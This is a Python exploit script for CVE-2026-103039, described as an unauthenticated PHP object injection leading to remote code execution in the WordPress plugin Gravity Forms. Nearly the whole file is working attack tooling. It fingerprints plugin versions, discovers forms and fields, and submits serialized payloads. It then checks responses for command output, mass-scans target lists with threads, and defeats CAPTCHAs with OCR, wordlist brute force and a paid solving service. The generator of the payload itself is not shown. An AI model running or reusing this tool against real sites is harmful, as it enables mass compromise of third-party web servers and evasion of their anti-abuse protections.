#!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ ██████╗ █████╗ ██╗ ██╗██╗████████╗██╗ ██╗ ║
║ ██╔════╝ ██╔══██╗██╔══██╗██║ ██║██║╚══██╔══╝██║ ██║ ║
║ ██║ ███╗██████╔╝███████║██║ ██║██║ ██║ ██║ ██║ ║
║ ██║ ██║██╔══██╗██╔══██║╚██╗ ██╔╝██║ ██║ ██║ ██║ ║
║ ╚██████╔╝██║ ██║██║ ██║ ╚████╔╝ ██║ ██║ ╚██████╔╝ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ║
║ ║
║ CVE-2026-103039 — Gravity Forms PHP Object Injection ║
║ Unauthenticated RCE via Post Custom Field (List type) ║
║ ║
║ Programmer : NØXCRYPT ║
║ Handle : noxcrypt-x ║
║ Version : 2.1 (auto-detect / RCE verify / multi-thread) ║
║ ║
╚══════════════════════════════════════════════════════════════════════════╝
Affected: WordPress plugin "Gravity Forms" <= 3.1.2
Fixed in: 3.1.3
Class: CWE-502 (Deserialization of Untrusted Data)
CVSS: 9.8 Critical
Usage:
# Single target
python noxcrypt_gf.py -u https://target.com --detect
# Auto-detect form/field ids
python noxcrypt_gf.py -u https://target.com --auto-detect
# Scan all fields of a form
python noxcrypt_gf.py -u https://target.com --form-id 1 --scan-fields
# Mass scan with threads
python noxcrypt_gf.py -l targets.txt --detect --threads 20
# Submit + verify RCE
python noxcrypt_gf.py -u https://target.com --form-id 1 --field-id 2 \
--payload "O:13:\\"WP_HTML_Token\\":..." --verify
"""
from __future__ import annotations
import argparse
import concurrent.futures
import json
import os
import re
import subprocess
import sys
import threading
import time
from dataclasses import dataclass, field
from typing import Any, List, Optional
# ─── ANSI Color Codes ────────────────────────────────────────────────────────
class C:
RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
MAGENTA = "\033[95m"
CYAN = "\033[96m"
WHITE = "\033[97m"
ORANGE = "\033[38;5;208m"
PURPLE = "\033[38;5;141m"
GRAY = "\033[90m"
BG_RED = "\033[41m"
BG_GREEN= "\033[42m"
BG_YEL = "\033[43m"
BG_BLUE = "\033[44m"
# Enable ANSI on Windows + UTF-8 output
if sys.platform == "win32":
os.system("") # enables VT100 processing
try:
sys.stdout.reconfigure(encoding="utf-8")
sys.stderr.reconfigure(encoding="utf-8")
except Exception:
pass
try:
import requests
from requests import Session
except ImportError:
print(f"{C.RED}[-] Missing dependency: pip install requests{C.RESET}")
raise SystemExit(2)
MARKER = "GF_CVE_2026_103039_OK"
VULNERABLE_MAX = (3, 1, 2)
UA = "noxcrypt-gf-poc/2.1 (+CVE-2026-103039)"
_PRINT_LOCK = threading.Lock()
def _locked_print(*a, **k):
with _PRINT_LOCK:
print(*a, **k)
# ─── Banner ──────────────────────────────────────────────────────────────────
BANNER = r"""
{purple}╔══════════════════════════════════════════════════════════════════════════╗
║ ║
║ {cyan}█▀▀ █▀█ █▀▀ █ █▀▀█ █▀▀█ █▀▀▄ █▀▀ █▀▀█{purple} ║
║ {cyan}█▀▀ █▄█ █▀▀ █ █ █ █ █ █ █ █▀▀ █▄▄▀{purple} ║
║ {cyan}▀▀▀ ▀ ▀ ▀▀▀ ▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀ ▀▀▀ ▀ ▀▀{purple} ║
║ ║
║ {yellow}CVE-2026-103039{purple} — {white}Gravity Forms PHP Object Injection{purple} ║
║ {gray}Unauthenticated RCE via Post Custom Field (List type){purple} ║
║ ║
║ {green}Programmer : NØXCRYPT{purple} ║
║ {green}Handle : noxcrypt-x{purple} ║
║ {green}Version : 2.1{purple} ║
║ ║
╚══════════════════════════════════════════════════════════════════════════╝{reset}
""".format(
purple=C.PURPLE, cyan=C.CYAN, yellow=C.YELLOW, white=C.WHITE,
gray=C.GRAY, green=C.GREEN, reset=C.RESET,
)
# ─── Data Classes ────────────────────────────────────────────────────────────
@dataclass
class TargetResult:
url: str = ""
version: str = ""
vulnerable: bool | None = None
form_id: int = 0
field_id: int = 0
nonce: str = ""
submitted: bool = False
http_status: int = 0
confirmation: bool = False
error: str = ""
steps: list[str] = field(default_factory=list)
forms_found: list[int] = field(default_factory=list)
fields_found: list[dict] = field(default_factory=list)
rce_verified: bool = False
rce_evidence: str = ""
scan_hits: list[dict] = field(default_factory=list)
def status_color(self) -> str:
if self.vulnerable is True:
return C.GREEN
elif self.vulnerable is False:
return C.RED
return C.YELLOW
def vuln_text(self) -> str:
if self.vulnerable is True:
return f"{C.GREEN}VULNERABLE{C.RESET}"
elif self.vulnerable is False:
return f"{C.RED}NOT VULNERABLE{C.RESET}"
return f"{C.YELLOW}UNKNOWN{C.RESET}"
# ─── Helpers ─────────────────────────────────────────────────────────────────
def base_url(raw: str) -> str:
return raw.rstrip("/")
def version_tuple(v: str) -> tuple[int, ...]:
parts = re.findall(r"\d+", v)
return tuple(int(p) for p in parts[:3])
def build_session(insecure: bool = False, cookie: str | None = None) -> Session:
session = requests.Session()
session.headers.update({"User-Agent": UA})
session.verify = not insecure
if cookie:
session.headers["Cookie"] = cookie
return session
def ok(msg: str) -> None:
_locked_print(f" {C.GREEN}[+]{C.RESET} {msg}")
def info(msg: str) -> None:
_locked_print(f" {C.CYAN}[*]{C.RESET} {msg}")
def warn(msg: str) -> None:
_locked_print(f" {C.YELLOW}[!]{C.RESET} {msg}")
def err(msg: str) -> None:
_locked_print(f" {C.RED}[-]{C.RESET} {msg}")
def detect_version(base: str, session: Session, timeout: float) -> tuple[str, bool | None]:
candidates = [
f"{base}/wp-content/plugins/gravityforms/readme.txt",
f"{base}/wp-content/plugins/gravityforms/README.txt",
]
for url in candidates:
try:
response = session.get(url, timeout=timeout)
except requests.RequestException:
continue
if response.status_code == 200:
match = re.search(r"Stable tag:\s*([0-9][0-9A-Za-z.\-]*)", response.text)
if match:
version = match.group(1)
return version, version_tuple(version) <= VULNERABLE_MAX
try:
response = session.get(f"{base}/", timeout=timeout)
match = re.search(r"gravityforms[^\"']*\.js\?ver=([0-9.]+)", response.text)
if match:
version = match.group(1)
return version, version_tuple(version) <= VULNERABLE_MAX
except requests.RequestException:
pass
return "", None
def extract_nonce(html: str, form_id: int) -> str:
patterns = [
rf"name=['\"]_gform_submit_nonce_{form_id}['\"]\s+value=['\"]([^'\"]+)['\"]",
rf"_gform_submit_nonce_{form_id}['\"]\s+value=['\"]([^'\"]+)['\"]",
rf"_gform_submit_nonce_{form_id}[^>]*value=['\"]([^'\"]+)['\"]",
rf"value=['\"]([^'\"]+)['\"][^>]*_gform_submit_nonce_{form_id}",
]
for p in patterns:
m = re.search(p, html)
if m:
return m.group(1)
return ""
def find_form_page(base: str, session: Session, timeout: float, form_id: int) -> str:
candidates = [
f"{base}/",
f"{base}/contact/",
f"{base}/contact-us/",
f"{base}/?gf_page=preview&id={form_id}",
]
for url in candidates:
try:
r = session.get(url, timeout=timeout)
if r.status_code == 200 and f"gform_{form_id}" in r.text:
return url
except requests.RequestException:
continue
return ""
# ─── Auto-detect forms / fields ──────────────────────────────────────────────
def discover_forms(base: str, session: Session, timeout: float) -> list[int]:
forms: set[int] = set()
pages = [base + "/", base + "/contact/", base + "/contact-us/"]
for i in range(1, 16):
pages.append(f"{base}/?gf_page=preview&id={i}")
for url in pages:
try:
r = session.get(url, timeout=timeout)
except requests.RequestException:
continue
if r.status_code != 200:
continue
for m in re.finditer(r"gform_(\d+)", r.text):
forms.add(int(m.group(1)))
for m in re.finditer(r'data-formid=["\'](\d+)["\']', r.text):
forms.add(int(m.group(1)))
return sorted(forms)
def discover_fields(html: str, form_id: int) -> list[dict]:
fields: list[dict] = []
seen: set[int] = set()
for m in re.finditer(rf"field_{form_id}_(\d+)", html):
fid = int(m.group(1))
if fid in seen:
continue
seen.add(fid)
idx = m.start()
window = html[max(0, idx - 400): idx + 250]
tm = re.search(r"gfield--type-(\w+)", window)
typ = tm.group(1) if tm else ""
lm = re.search(r"", window, re.S)
label = re.sub(r"<[^>]+>", "", lm.group(1)).strip() if lm else ""
fields.append({"id": fid, "type": typ, "label": label})
fields.sort(key=lambda x: x["id"])
return fields
def auto_detect_form_field(base, session, timeout, args, result) -> bool:
if getattr(args, "auto_detect", False) or args.form_id == 0 or args.field_id == 0:
info("auto-detecting forms...")
forms = discover_forms(base, session, timeout)
result.forms_found = forms
if not forms:
warn("no forms discovered")
return False
info(f"forms found: {forms}")
if args.form_id:
form_id = args.form_id
else:
form_id = forms[0]
if len(forms) > 1:
warn(f"multiple forms; using {form_id}")
page = args.form_page or find_form_page(base, session, timeout, form_id)
if not page:
page = f"{base}/?gf_page=preview&id={form_id}"
html = ""
try:
r = session.get(page, timeout=timeout)
if r.status_code == 200:
html = r.text
except requests.RequestException:
pass
fields = discover_fields(html, form_id) if html else []
result.fields_found = fields
if fields:
info(f"fields: {[(f['id'], f['type'], f['label']) for f in fields]}")
if args.field_id:
field_id = args.field_id
else:
# Prefer "text" inputs (List-type custom fields render as text inputs)
cand = [f for f in fields if f["type"] == "text"
and any(k in (f["label"] or "").lower()
for k in ("custom", "meta", "template", "list", "company"))]
if not cand:
cand = [f for f in fields if f["type"] == "text"]
if not cand:
cand = [f for f in fields if f["type"] in ("text", "textarea")
and any(k in (f["label"] or "").lower()
for k in ("custom", "meta", "template", "list", "company"))]
if not cand:
cand = [f for f in fields if f["type"] in ("text", "textarea")]
if cand:
field_id = cand[0]["id"]
elif fields:
field_id = fields[0]["id"]
else:
field_id = 1
if fields:
info(f"auto-selected field_id={field_id}")
args.form_id = form_id
args.field_id = field_id
result.form_id = form_id
result.field_id = field_id
return True
def gen_payload(args, controlled: str) -> str:
php = args.php
script = args.gen_script
cmd = [php, script]
if args.payload_type:
cmd += ["--type", args.payload_type]
cmd.append(controlled)
env = None
if args.wp_path:
env = dict(os.environ)
env["WP_PATH"] = args.wp_path
try:
result = subprocess.run(cmd, capture_output=True, text=True, env=env, timeout=30)
except FileNotFoundError:
raise RuntimeError(f"PHP binary not found: {php}")
if result.returncode != 0:
raise RuntimeError(f"payload gen failed: {result.stderr.strip()[:200]}")
payload = result.stdout.strip()
if not payload:
raise RuntimeError("payload gen produced empty output")
return payload
# ─── RCE verification ────────────────────────────────────────────────────────
RCE_PATTERNS = [
re.compile(r"uid=\d+\([^\)]*\)"),
re.compile(r"gid=\d+"),
re.compile(r"GF_CVE_2026_103039_OK"),
]
def _scan_text_for_rce(text: str, marker: str) -> list[str]:
hits: list[str] = []
for pat in RCE_PATTERNS:
for m in pat.finditer(text or ""):
hits.append(m.group(0))
if marker and marker in (text or ""):
hits.append(marker)
# dedup preserve order
out = []
seen = set()
for h in hits:
if h not in seen:
seen.add(h)
out.append(h)
return out
def verify_rce(base, session, result, args, timeout, submit_text, post_url) -> None:
if not getattr(args, "verify", True):
return
marker = args.oob or MARKER
evidence_list: list[tuple[str, list[str]]] = []
# submit response
hits = _scan_text_for_rce(submit_text, marker)
if hits:
evidence_list.append(("submit-response", hits[:5]))
urls_to_fetch: list[str] = []
if post_url:
urls_to_fetch.append(post_url)
if getattr(args, "trigger_url", None):
urls_to_fetch.append(args.trigger_url)
# candidate links from submit response
for m in re.finditer(r'href=["\']([^"\']+)', submit_text or ""):
u = m.group(1)
if any(k in u.lower() for k in ("/p=", "post", "?p=", "postname")):
urls_to_fetch.append(u)
# common post roots
urls_to_fetch.append(base + "/")
urls_to_fetch.append(base + "/?p=1")
seen_urls: set[str] = set()
fetched = 0
max_fetch = 8 if getattr(args, "deep_verify", False) else 4
for u in urls_to_fetch:
if fetched >= max_fetch:
break
if not u:
continue
if u.startswith("/"):
u = base + u
if u in seen_urls:
continue
seen_urls.add(u)
try:
r = session.get(u, timeout=timeout, allow_redirects=True)
except requests.RequestException:
continue
fetched += 1
hits = _scan_text_for_rce(r.text, marker)
if hits:
evidence_list.append((u, hits[:5]))
break
if evidence_list:
result.rce_verified = True
result.rce_evidence = f"{evidence_list[0][0]}: {evidence_list[0][1]}"
ok(f"RCE VERIFIED -> {result.rce_evidence}")
else:
result.rce_verified = False
warn("RCE not verified in responses (may need trigger or gadget chain)")
# ─── Submit ──────────────────────────────────────────────────────────────────
def _captcha_cache_path() -> str:
return os.path.join(os.path.dirname(os.path.abspath(__file__)), "captcha_cache.json")
def _load_captcha_cache() -> dict:
try:
with open(_captcha_cache_path(), "r", encoding="utf-8") as f:
return json.load(f)
except (OSError, ValueError):
return {}
def _save_captcha_cache(prefix: str, answer: str) -> None:
if not prefix or not answer:
return
cache = _load_captcha_cache()
cache[prefix] = answer
try:
with open(_captcha_cache_path(), "w", encoding="utf-8") as f:
json.dump(cache, f, indent=2, ensure_ascii=False)
except OSError:
pass
def submit_form(base, session, result, args, timeout) -> None:
form_id = args.form_id
field_id = args.field_id
captcha_prefix = ""
captcha_img_url = ""
captcha_field_id = ""
form_page = args.form_page or find_form_page(base, session, timeout, form_id)
if not form_page:
form_page = base + "/"
info(f"fetching form page: {form_page}")
try:
r = session.get(form_page, timeout=timeout)
except requests.RequestException as e:
result.error = f"fetch failed: {e}"
err(result.error)
return
if r.status_code != 200:
result.error = f"form page HTTP {r.status_code}"
err(result.error)
return
nonce = extract_nonce(r.text, form_id)
if nonce:
ok(f"nonce extracted: {nonce[:20]}...")
else:
warn("could not extract nonce (may not be required)")
result.nonce = nonce
# Show CAPTCHA image and exit (no payload needed)
if getattr(args, "show_captcha", False):
if captcha_img_url:
try:
img_resp = session.get(captcha_img_url, timeout=timeout)
img_path = "captcha_image.png"
with open(img_path, "wb") as f:
f.write(img_resp.content)
ok("CAPTCHA image saved -> " + img_path)
warn("open the image, read the text, then run with --captcha-answer TEXT")
except Exception as e:
err("could not download CAPTCHA: " + str(e))
else:
warn("no CAPTCHA image found on this form")
return
# Build payload
if args.payload:
payload = args.payload
elif getattr(args, "payload_file", None):
try:
with open(args.payload_file, "r", encoding="utf-8") as f:
payload = f.read().strip()
ok(f"payload loaded from file ({len(payload)} bytes)")
except OSError as e:
result.error = f"could not read payload file: {e}"
err(result.error)
return
elif args.gen_payload:
controlled = args.cmd or args.oob or MARKER
info(f"generating payload (controlled: {controlled})")
try:
payload = gen_payload(args, controlled)
ok(f"payload generated ({len(payload)} bytes)")
except RuntimeError as e:
result.error = str(e)
err(result.error)
return
else:
result.error = "no payload (use --payload or --gen-payload)"
err(result.error)
return
data = {
"gform_submit": str(form_id),
f"is_submit_{form_id}": "1",
f"_gform_submit_nonce_{form_id}": nonce,
}
data[f"input_{field_id}"] = payload
data[f"input_{field_id}[0][0]"] = payload
# ── CAPTCHA handling ──────────────────────────────────────────────
captcha_prefix = ""
captcha_img_url = ""
m_prefix = re.search(r"name=['\"]input_captcha_prefix_(\d+)['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
if m_prefix:
captcha_field_id = m_prefix.group(1)
captcha_prefix = m_prefix.group(2)
m_img = re.search(r"class=['\"]gfield_captcha['\"]\s+src=['\"]([^'\"]+)['\"]", r.text)
if m_img:
captcha_img_url = m_img.group(1)
info(f"CAPTCHA detected (field {captcha_field_id}, prefix {captcha_prefix})")
if captcha_prefix and not args.skip_captcha:
if args.show_captcha and captcha_img_url:
try:
img_resp = session.get(captcha_img_url, timeout=timeout)
img_path = "captcha_image.png"
with open(img_path, "wb") as f:
f.write(img_resp.content)
ok(f"CAPTCHA image saved -> {img_path}")
warn("open the image, read the text, then run with --captcha-answer ")
except Exception as e:
err(f"could not download CAPTCHA: {e}")
return
# Auto-CAPTCHA: cache replay -> OCR (optional) -> wordlist -> 2Captcha
auto_answer = ""
if getattr(args, "auto_captcha", False):
cache = _load_captcha_cache()
if captcha_prefix in cache:
auto_answer = cache[captcha_prefix]
info(f"CAPTCHA cache hit: {auto_answer}")
if not auto_answer and captcha_img_url:
try:
import pytesseract
from PIL import Image
img_resp = session.get(captcha_img_url, timeout=timeout)
img_path = "captcha_image.png"
with open(img_path, "wb") as f:
f.write(img_resp.content)
txt = pytesseract.image_to_string(Image.open(img_path))
txt = re.sub(r"[^A-Za-z0-9]", "", txt).strip()
if len(txt) >= 3:
auto_answer = txt
info(f"OCR solved: {auto_answer}")
except Exception as e:
warn(f"OCR unavailable/failed: {e}")
if not auto_answer and getattr(args, "captcha_wordlist", None) and captcha_img_url:
try:
with open(args.captcha_wordlist, "r", encoding="utf-8") as f:
words = [w.strip() for w in f if w.strip()]
except OSError as e:
warn(f"could not read wordlist: {e}")
words = []
for w in words:
test_data = dict(data)
test_data[f"input_{captcha_field_id}"] = w
try:
tr = session.post(form_page, data=test_data, timeout=timeout, allow_redirects=True)
if "gfield_error" not in tr.text and "validation_message" not in tr.text:
auto_answer = w
info(f"wordlist hit: {auto_answer}")
break
except requests.RequestException:
break
if auto_answer:
args.captcha_answer = auto_answer
_save_captcha_cache(captcha_prefix, auto_answer)
if args.captcha_answer:
info(f"using CAPTCHA answer: {args.captcha_answer}")
data[f"input_{captcha_field_id}"] = args.captcha_answer
_save_captcha_cache(captcha_prefix, args.captcha_answer)
elif args.captcha_key:
info("solving CAPTCHA via 2Captcha...")
try:
import base64
img_resp = session.get(captcha_img_url, timeout=timeout)
img_b64 = base64.b64encode(img_resp.content).decode()
submit_url = "http://2captcha.com/in.php"
resp = requests.post(submit_url, data={
"key": args.captcha_key,
"method": "base64",
"body": img_b64,
"json": 1,
}, timeout=30)
result_json = resp.json()
if result_json.get("status") != 1:
raise RuntimeError(result_json.get("request", "submit failed"))
captcha_id = result_json["request"]
info(f"CAPTCHA submitted (id: {captcha_id}), waiting for solution...")
for _ in range(30):
time.sleep(5)
res = requests.get(f"http://2captcha.com/res.php?key={args.captcha_key}&action=get&id={captcha_id}&json=1", timeout=30)
res_json = res.json()
if res_json.get("status") == 1:
captcha_answer = res_json["request"]
ok(f"CAPTCHA solved: {captcha_answer}")
data[f"input_{captcha_field_id}"] = captcha_answer
break
if res_json.get("request") != "CAPCHA_NOT_READY":
raise RuntimeError(res_json.get("request", "solve failed"))
else:
raise RuntimeError("CAPTCHA solve timeout")
except Exception as e:
err(f"CAPTCHA solve failed: {e}")
warn("continuing without CAPTCHA answer")
else:
warn("CAPTCHA detected but no --captcha-key provided")
warn("use --captcha-key <2Captcha API key> or --skip-captcha (lab only)")
if captcha_field_id:
data[f"input_{captcha_field_id}"] = ""
elif args.skip_captcha:
info("skipping CAPTCHA (--skip-captcha)")
# Auto-fill common required fields to avoid validation errors
if getattr(args, "auto_fill", False):
all_inputs = re.findall(r"name=['\"]input_(\d+)['\"]", r.text)
for fid in all_inputs:
if fid == str(field_id):
continue
if captcha_prefix and fid == str(captcha_field_id):
continue
label_match = re.search(rf"", r.text, re.S)
label = label_match.group(1).lower() if label_match else ""
label = re.sub(r"<[^>]+>", "", label).strip()
if "email" in label:
data[f"input_{fid}"] = "test@example.com"
elif "date" in label:
data[f"input_{fid}"] = "01/01/2025"
elif "name" in label:
data[f"input_{fid}"] = "Test User"
elif "phone" in label or "tel" in label:
data[f"input_{fid}"] = "1234567890"
elif "subject" in label:
data[f"input_{fid}"] = "Test Subject"
elif "message" in label or "enquiry" in label or "comment" in label:
data[f"input_{fid}"] = "Test message"
else:
data[f"input_{fid}"] = "Test"
if captcha_prefix:
warn("CAPTCHA detected — use --captcha-key or --skip-captcha")
info(f"submitting form {form_id} field {field_id}")
try:
resp = session.post(form_page, data=data, timeout=timeout, allow_redirects=True)
except requests.RequestException as e:
result.error = f"submit failed: {e}"
err(result.error)
return
result.submitted = True
result.http_status = resp.status_code
ok(f"submitted (HTTP {resp.status_code})")
post_url = ""
if resp.status_code in (301, 302, 303):
loc = resp.headers.get("Location", "")
ok(f"redirect → {loc}")
post_url = loc
elif "gform_confirmation" in resp.text or "thank" in resp.text.lower():
result.confirmation = True
ok("confirmation message detected")
else:
if "gfield_error" in resp.text or "validation_message" in resp.text:
warn("form validation errors detected")
else:
warn("no clear confirmation; check manually")
result.post_url = post_url if hasattr(result, "post_url") else post_url
# store on result via attribute (dataclass doesn't define post_url; add dynamically)
setattr(result, "post_url", post_url)
# RCE verification
if getattr(args, "verify", True):
verify_rce(base, session, result, args, timeout, resp.text, post_url)
# ─── Scan all fields ─────────────────────────────────────────────────────────
def scan_fields(base, session, result, args, timeout) -> None:
forms = discover_forms(base, session, timeout)
if not forms:
result.error = "no forms found"
err(result.error)
return
form_ids = [args.form_id] if args.form_id else forms
info(f"scanning forms: {form_ids}")
for fid_form in form_ids:
page = args.form_page or find_form_page(base, session, timeout, fid_form)
if not page:
page = f"{base}/?gf_page=preview&id={fid_form}"
html = ""
try:
r = session.get(page, timeout=timeout)
if r.status_code == 200:
html = r.text
except requests.RequestException:
pass
fields = discover_fields(html, fid_form) if html else []
field_ids = [f["id"] for f in fields] if fields else list(range(1, args.max_field + 1))
if not field_ids:
field_ids = list(range(1, args.max_field + 1))
info(f"form {fid_form}: trying fields {field_ids}")
for fld in field_ids:
targs = argparse.Namespace(**vars(args))
targs.form_id = fid_form
targs.field_id = fld
targs.verify = getattr(args, "verify", True)
# suppress per-field noisy? keep
info(f"--- trying form={fid_form} field={fld} ---")
# use a temp result to not clobber main? We'll record hits
tmp = TargetResult(url=base, form_id=fid_form, field_id=fld)
submit_form(base, session, tmp, targs, timeout)
hit = {
"form_id": fid_form,
"field_id": fld,
"submitted": tmp.submitted,
"http_status": tmp.http_status,
"rce_verified": tmp.rce_verified,
"rce_evidence": tmp.rce_evidence,
"confirmation": tmp.confirmation,
}
result.scan_hits.append(hit)
if tmp.rce_verified:
ok(f"HIT: form={fid_form} field={fld} -> {tmp.rce_evidence}")
elif tmp.submitted:
info(f"submitted form={fid_form} field={fld} (no RCE verified)")
result.submitted = any(h["submitted"] for h in result.scan_hits)
result.rce_verified = any(h["rce_verified"] for h in result.scan_hits)
def process_target(base, args, timeout) -> TargetResult:
result = TargetResult(url=base)
session = build_session(args.insecure, args.cookie)
# Detect version
version, vulnerable = detect_version(base, session, timeout)
result.version = version
result.vulnerable = vulnerable
if version:
ok(f"{C.BOLD}{base}{C.RESET} → GF {version} → {result.vuln_text()}")
else:
warn(f"{C.BOLD}{base}{C.RESET} → version unknown")
if args.detect and not getattr(args, "list_forms", False) and not getattr(args, "scan_fields", False) \
and not getattr(args, "auto_detect", False) and args.form_id == 0 and args.field_id == 0:
return result
# list forms only
if getattr(args, "list_forms", False):
forms = discover_forms(base, session, timeout)
result.forms_found = forms
info(f"forms: {forms}")
for fid in forms:
page = find_form_page(base, session, timeout, fid) or f"{base}/?gf_page=preview&id={fid}"
try:
r = session.get(page, timeout=timeout)
html = r.text if r.status_code == 200 else ""
except requests.RequestException:
html = ""
fields = discover_fields(html, fid) if html else []
result.fields_found.extend(fields)
info(f" form {fid} fields: {[(f['id'], f['type'], f['label']) for f in fields]}")
return result
if getattr(args, "scan_fields", False):
scan_fields(base, session, result, args, timeout)
return result
targs = argparse.Namespace(**vars(args))
if targs.form_id == 0 or targs.field_id == 0 or getattr(targs, "auto_detect", False):
ok_flag = auto_detect_form_field(base, session, timeout, targs, result)
if not ok_flag:
if targs.form_id == 0 or targs.field_id == 0:
result.error = "auto-detect failed; provide --form-id/--field-id"
err(result.error)
return result
if not targs.detect and (not targs.form_id or not targs.field_id):
# detect-only mode already returned; if no ids, skip submit
if not getattr(targs, "scan_fields", False):
result.error = "--form-id and --field-id required (or --auto-detect)"
err(result.error)
return result
if targs.detect:
return result
result.form_id = targs.form_id
result.field_id = targs.field_id
submit_form(base, session, result, targs, timeout)
return result
def _strip_ansi(s: str) -> str:
return re.sub(r"\033\[[0-9;]*m", "", s)
def _pad(s: str, width: int) -> str:
visible = len(_strip_ansi(s))
return s + " " * max(0, width - visible)
def print_summary(results: List[TargetResult]):
print(f"\n{C.PURPLE}{'═' * 80}{C.RESET}")
print(f"{C.BOLD}{C.WHITE} SUMMARY — NØXCRYPT GF PoC{C.RESET}")
print(f"{C.PURPLE}{'═' * 80}{C.RESET}")
print(f" {C.GRAY}{'Target':<32} {'Version':<10} {'Vuln':<14} {'Submit':<8} {'RCE':<8}{C.RESET}")
print(f" {C.GRAY}{'─' * 74}{C.RESET}")
vuln_count = 0
submit_count = 0
rce_count = 0
for r in results:
vuln_str = r.vuln_text()
submit_str = f"{C.GREEN}YES{C.RESET}" if r.submitted else f"{C.RED}NO{C.RESET}"
rce_str = f"{C.GREEN}YES{C.RESET}" if r.rce_verified else f"{C.GRAY}NO{C.RESET}"
if r.vulnerable:
vuln_count += 1
if r.submitted:
submit_count += 1
if r.rce_verified:
rce_count += 1
url_display = f"{C.WHITE}{r.url[:31]}{C.RESET}"
ver_display = r.version or "?"
line = " " + _pad(url_display, 33) + _pad(ver_display, 11) + _pad(vuln_str, 24) + _pad(submit_str, 9) + rce_str
print(line)
if r.scan_hits:
for h in r.scan_hits:
if h.get("rce_verified") or h.get("submitted"):
print(f" {C.GRAY}form={h['form_id']} field={h['field_id']} submit={h['submitted']} rce={h['rce_verified']}{C.RESET}")
print(f" {C.GRAY}{'─' * 74}{C.RESET}")
print(f" {C.BOLD}Total: {len(results)} | Vulnerable: {C.GREEN}{vuln_count}{C.RESET}{C.BOLD} | Submitted: {C.GREEN}{submit_count}{C.RESET}{C.BOLD} | RCE: {C.GREEN}{rce_count}{C.RESET}")
print(f"{C.PURPLE}{'═' * 80}{C.RESET}\n")
def save_results(results: List[TargetResult], path: str):
data = []
for r in results:
data.append({
"url": r.url,
"version": r.version,
"vulnerable": r.vulnerable,
"form_id": r.form_id,
"field_id": r.field_id,
"nonce": r.nonce,
"submitted": r.submitted,
"http_status": r.http_status,
"confirmation": r.confirmation,
"error": r.error,
"forms_found": r.forms_found,
"fields_found": r.fields_found,
"rce_verified": r.rce_verified,
"rce_evidence": r.rce_evidence,
"scan_hits": r.scan_hits,
})
try:
with open(path, "w", encoding="utf-8") as f:
json.dump(data, f, indent=2, ensure_ascii=False)
ok(f"results saved → {path}")
except OSError as e:
err(f"could not save results: {e}")
def main() -> int:
if "-h" not in sys.argv and "--help" not in sys.argv:
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-103039 Gravity Forms PHP Object Injection — by NØXCRYPT",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument("-u", "--url", help="Single target URL")
parser.add_argument("-l", "--list", help="File with target URLs (one per line)")
parser.add_argument("--detect", action="store_true", help="Version detection only")
parser.add_argument("--form-id", type=int, default=0, help="Gravity Forms form ID")
parser.add_argument("--field-id", type=int, default=0, help="Post Custom Field field ID (List type)")
parser.add_argument("--form-page", help="URL of page containing the form")
parser.add_argument("--payload", help="Serialized PHP payload string")
parser.add_argument("--payload-file", help="Read payload from file")
parser.add_argument("--gen-payload", action="store_true", help="Generate payload via PHP helper")
parser.add_argument("--payload-type", default="wp_theme", choices=["wp_theme", "wp_html_token"])
parser.add_argument("--php", default="php", help="Path to PHP binary")
parser.add_argument("--wp-path", help="Path to WordPress source")
parser.add_argument("--gen-script", default=None, help="Path to gen_payload.php")
parser.add_argument("--cmd", help="Command to execute (wp_html_token)")
parser.add_argument("--oob", help="OOB callback value")
parser.add_argument("--cookie", help="Authenticated cookie")
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
parser.add_argument("--timeout", type=float, default=20.0, help="HTTP timeout")
parser.add_argument("--output", "-o", help="Save results to JSON file")
parser.add_argument("--delay", type=float, default=0.5, help="Delay between targets (seconds)")
parser.add_argument("--auto-fill", action="store_true", help="Auto-fill required form fields with dummy values")
parser.add_argument("--captcha-key", help="2Captcha API key for solving CAPTCHA")
parser.add_argument("--captcha-answer", help="Manual CAPTCHA answer (you read the image)")
parser.add_argument("--skip-captcha", action="store_true", help="Skip CAPTCHA field (for lab where CAPTCHA is disabled)")
parser.add_argument("--show-captcha", action="store_true", help="Download CAPTCHA image and show path (for manual solving)")
parser.add_argument("--auto-captcha", action="store_true", help="Auto-solve CAPTCHA (cache replay + optional OCR + wordlist)")
parser.add_argument("--captcha-wordlist", help="Wordlist file for CAPTCHA brute (one candidate per line)")
# New features
parser.add_argument("--auto-detect", action="store_true", help="Auto-detect form-id / field-id")
parser.add_argument("--list-forms", action="store_true", help="Discover and print forms/fields only")
parser.add_argument("--scan-fields", action="store_true", help="Try payload against every field of the form")
parser.add_argument("--max-field", type=int, default=20, help="Max field id to try in --scan-fields")
parser.add_argument("--verify", action="store_true", default=True, help="Verify RCE after submit (default on)")
parser.add_argument("--no-verify", action="store_true", help="Disable RCE verification")
parser.add_argument("--deep-verify", action="store_true", help="Deeper RCE verification (more URL fetches)")
parser.add_argument("--trigger-url", help="URL to fetch to trigger gadget chain")
parser.add_argument("--threads", type=int, default=1, help="Concurrent workers for target list")
args = parser.parse_args()
if args.no_verify:
args.verify = False
if args.deep_verify:
args.verify = True
if args.gen_script is None:
args.gen_script = os.path.join(os.path.dirname(os.path.abspath(__file__)), "gen_payload.php")
# Collect targets
targets = []
if args.url:
targets.append(args.url)
if args.list:
if not os.path.isfile(args.list):
err(f"target list file not found: {args.list}")
return 1
with open(args.list, "r", encoding="utf-8-sig") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
targets.append(line)
if not targets:
err("no targets specified (use -u or -l)")
print()
print(f" {C.CYAN}Examples:{C.RESET}")
print(f" {C.GRAY} python noxcrypt_gf.py -h # show help{C.RESET}")
print(f" {C.GRAY} python noxcrypt_gf.py -u https://target.com --detect{C.RESET}")
print(f" {C.GRAY} python noxcrypt_gf.py -l targets.txt --detect -o results.json{C.RESET}")
print(f" {C.GRAY} python noxcrypt_gf.py -u https://target.com --form-id 1 --field-id 2 --payload \"O:13:...\"{C.RESET}")
print()
return 1
